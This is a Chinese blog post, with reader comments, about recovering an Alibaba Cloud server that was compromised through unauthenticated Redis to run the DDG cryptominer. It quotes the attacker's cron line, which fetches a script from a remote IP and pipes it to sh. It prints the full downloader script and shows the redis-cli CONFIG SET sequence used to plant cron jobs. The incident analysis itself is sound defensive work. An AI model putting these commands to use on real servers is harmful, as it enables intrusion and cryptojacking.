阿里云服务器被入侵——redis挖矿

原创
2017/06/20 16:16
阅读数 1.3W

1、起因:

        发现运维平台上没有昨天计划任务相关的数据,登上服务器,才发现crontab被改了

[root@58 ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh

2、处理过程:

①、停掉计划任务:

[root@58 ~]# crontab -e
#*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh

②、lastb:查看暴力破解的记录,发现并没有异常

[root@58 ~]# lastb
dev      ssh:notty    172.16.1.xx      Tue Jun 13 22:49 - 22:49  (00:00)    
dev      ssh:notty    172.16.1.xx      Tue Jun 13 22:32 - 22:32  (00:00) 

③、查看有毒脚本:

[root@58 tmp]$curl -fsSL http://218.248.40.228:9999/i.sh?6
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.1009" ]; then
    curl -fsSL http://218.248.40.228:9999/1009/ddg.$(uname -m) -o /tmp/ddg.1009
fi
chmod +x /tmp/ddg.1009 && /tmp/ddg.1009

④、ps axu:查看异常进程

root     13715  0.0  0.1 700584 16116 ?        Sl   Jun18   0:50 /tmp/ddg.1009
root     13796  299 17.2 1756884 1387384 ?     SLsl Jun18 4236:14 /tmp/wnTKYg.noaes

⑤、文件处理:

#删除
[root@58 ~]# ll /var/spool/cron/crontabs
total 4
-rw-r--r-- 1 root root 62 Jun 19 09:35 root
[root@58 ~]# rm -rf /var/spool/cron/crontabs

#取消执行权限
[root@58 ~]# ll /tmp/ddg.1009
-rwxr-xr-x 1 root root 8890464 Jun 18 10:09 /tmp/ddg.1009
[root@58 ~]#
[root@58 ~]#
[root@58 ~]# chmod 444 /tmp/ddg.1009

[root@58 ~]# ll /tmp/wnTKYg.noaes
-rwxr-xr-x 1 root root 1365824 Jun 18 10:12 /tmp/wnTKYg.noaes
[root@58 ~]#
[root@58 ~]# chmod 444 /tmp/wnTKYg.noaes

#kill进程

[root@58 ~]# kill -9 13715
[root@58 ~]# kill -9 13796

⑥、#修改root登陆
#.ssh/authorized_keys,也要替换

3、入侵思考:

①、服务器的iptable是只开了ssh的web的端口,且ssh使用密钥登陆,且没有发现尝试登陆的异常;

②、查看web的日志,没有发现异常访问,应该是某个软件的问题?

③、最后确定是redis无验证挖矿(搜索了linux ddg.1009),阿里云的安全组是允许0.0.0.0的访问的

④、阿里云这个0.0.0.0,巨坑啊,应该是某个贱人从其他阿里云的机器登陆到redis的,即阿里云的安全组有0.0.0.0的,是可以访问其他不属于自己的机器】

4、安全调整:

①、服务器加上iptables的限制,只允许再用的ip访问

②、redis改成nologin的用户启动

③、redis CONFIG修改成其他的名称:【rename-command CONFIG "Wyl0LFt2UhR"】

④、修改redis端口

5、redis修改计划任务相关命令:

#set 1:这样可以控制第一条记录,就能保证你的内容始终保持在最前面
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
redis-cli flushall

=============================== 完 ==============================

展开阅读全文
打赏
3
82 收藏
分享
加载中
1
2017/08/27 17:02
回复
举报
话说。。。。公司内网的一台服务器也被挖抗了。。。。都不知道怎么被入侵的。
2017/06/28 16:07
回复
举报
和我的腾讯云一样
2017/06/26 22:01
回复
举报
redis设置密码不就好了,不需要管ip
2017/06/26 07:20
回复
举报
任何的都是要设置密码的。。
2017/06/23 09:39
回复
举报

引用来自“ixiaohei”的评论

我一般redis bind 127.0.0.1
赞,挖矿处理:https://help.aliyun.com/knowledge_detail/41206.html
Redis服务加固:https://help.aliyun.com/knowledge_detail/37447.html
勒索事件防护:https://help.aliyun.com/knowledge_detail/48701.html
2017/06/22 16:35
回复
举报

引用来自“岁月轻狂k”的评论

真傻
哈哈哈
2017/06/22 16:34
回复
举报

引用来自“nAFa”的评论

好文。
前两个月公司的阿里云服务器其中一台也是被这么通过redis6379的端口入侵了,htop查看双核的cpu其中一个总是100%,另外一个正常,好在服务还可以正常访问。后来正好那台服务器没有几天就要到期,干脆就换新机器了。
挖矿处理:https://help.aliyun.com/knowledge_detail/41206.html
Redis服务加固:https://help.aliyun.com/knowledge_detail/37447.html
勒索事件防护:https://help.aliyun.com/knowledge_detail/48701.html
2017/06/22 16:34
回复
举报

引用来自“亦可塞艇”的评论

redis设置密码可行吗
挖矿处理:https://help.aliyun.com/knowledge_detail/41206.html
Redis服务加固:https://help.aliyun.com/knowledge_detail/37447.html
勒索事件防护:https://help.aliyun.com/knowledge_detail/48701.html
2017/06/22 16:34
回复
举报
挖矿处理:https://help.aliyun.com/knowledge_detail/41206.html
Redis服务加固:https://help.aliyun.com/knowledge_detail/37447.html
勒索事件防护:https://help.aliyun.com/knowledge_detail/48701.html
2017/06/22 16:33
回复
举报
更多评论
打赏
26 评论
82 收藏
3
分享
返回顶部
顶部